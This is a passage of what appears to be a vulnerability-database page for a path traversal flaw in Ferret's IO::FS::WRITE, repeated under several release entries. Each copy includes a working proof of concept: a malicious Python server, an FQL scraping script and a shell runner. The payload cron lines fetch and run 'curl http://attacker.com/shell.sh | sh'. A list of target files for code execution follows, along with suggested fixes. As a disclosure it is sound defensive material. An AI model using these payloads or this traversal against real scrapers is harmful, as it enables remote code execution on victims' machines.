            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Sep 20, 2021

v0.16.0-rc.3 pre

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Sep 19, 2021

v0.16.0-rc.2 pre

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Sep 17, 2021

v0.16.0-rc.1 pre

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Sep 09, 2021

v0.15.0 initial

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Apr 23, 2021

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